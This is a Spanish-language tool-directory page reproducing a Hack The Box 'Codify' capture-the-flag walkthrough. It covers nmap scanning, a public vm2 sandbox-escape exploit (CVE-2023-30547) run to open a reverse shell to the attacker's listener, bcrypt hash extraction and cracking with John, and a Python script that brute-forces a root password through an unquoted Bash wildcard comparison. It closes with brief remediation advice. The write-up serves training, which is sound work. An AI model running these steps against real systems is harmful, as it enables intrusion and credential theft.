Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Codify-TJNULL-OSCP- — Walkthrough de Codify (Linux - Fácil). Explota la RCE de vm2 (CVE-2023-30547), extrae hashes de la base de datos SQLite, crackea Bcrypt con John y escala privilegios mediante la comparación de comodines de Bash en `mysql-backup.sh`. | Kitploit
Herramientas/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Escalada de PrivilegiosAtaques de ContraseñasExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónCTFPruebas de PenetraciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHub
r3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Walkthrough de Codify (Linux - Fácil). Explota la RCE de vm2 (CVE-2023-30547), extrae hashes de la base de datos SQLite, crackea Bcrypt con John y escala privilegios mediante la comparación de comodines de Bash en `mysql-backup.sh`.

Ver Repositorio
hace 16 díasAún no revisado

Hack The Box — Writeup de Codify

Difficulty OS Platform

Guía completa de pruebas de penetración y writeup para la máquina Codify en Hack The Box.


📌 Información de la Máquina

CampoValor
NombreCodify
SOLinux
DificultadFácil
Conceptos Clavevm2 RCE (CVE-2023-30547), Enumeración de BD SQLite, Cracking de Bcrypt, Abuso de coincidencia de patrones comodín en Bash

🛠️ Resumen / Cadena de Ataque

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 Fase 1: Reconocimiento y Enumeración

1. Descubrimiento de Puertos

Escaneo rápido de puertos en los 65,535 puertos TCP para descubrir servicios abiertos:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Detección de Versiones de Servicios

Enumeración detallada en los puertos 22, 80, 3000:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Fase 2: Acceso Inicial (Foothold)

1. Explotación de la Evasión de Sandbox de vm2 (CVE-2023-30547)

La aplicación web que se ejecuta en el puerto 3000 utiliza una versión vulnerable de la librería de sandbox vm2 de Node.js.

Clona el repositorio público del exploit:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Ejecución del Exploit

Inicia un listener de Netcat en tu máquina atacante:

Bash

root@kitploit:~
ncat -lnvp 4444

Ejecuta el exploit apuntando a la aplicación web vulnerable:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Verifica tu shell de acceso inicial:

Bash

root@kitploit:~
whoami

🔎 Fase 3: Enumeración Interna y Movimiento Lateral

1. Enumeración de la Base de Datos SQLite

Navega al directorio web /var/www/contact e inspecciona la base de datos SQLite:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Extrae el hash bcrypt de Joshua:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Pulsa CTRL + d para salir)

2. Cracking del Hash Bcrypt

Rompe el hash extraído usando John the Ripper y rockyou.txt:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. Acceso por SSH y Flag de Usuario

Autentica vía SSH usando las credenciales de Joshua obtenidas:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Fase 4: Escalada de Privilegios

1. Enumeración de Permisos Sudo

Comprueba los comandos sudo permitidos para el usuario joshua:

Bash

root@kitploit:~
sudo -l

Salida: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Análisis del Script de Backup

Inspecciona /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Vulnerabilidad: El script usa una coincidencia de patrones sin comillas en Bash ([[ $USER_PASS == $DB_PASS* ]]). Esto permite que los comodines (*) dentro de la entrada del usuario realicen un ataque de fuerza bruta carácter por carácter contra la contraseña real.

3. Extracción Automatizada de Contraseña (Python)

Crea bruteforce.py para extraer la contraseña de root carácter por carácter:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Ejecuta el script para extraer la contraseña:

Bash

root@kitploit:~
python3 bruteforce.py

4. Flag de Root

Cambia al contexto del usuario root usando la contraseña extraída:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Remediación y Mitigaciones

  • Parchea las librerías de Node.js: Depreca o actualiza las librerías de sandbox vulnerables como vm2 (CVE-2023-30547).

  • Scripting Bash seguro: Encierra siempre entre comillas las variables en operaciones de comparación de cadenas ([[ "$USER_PASS" == "$DB_PASS" ]]) para evitar coincidencias de patrones involuntarias y la inyección de comodines en scripts privilegiados.

Descargar herramienta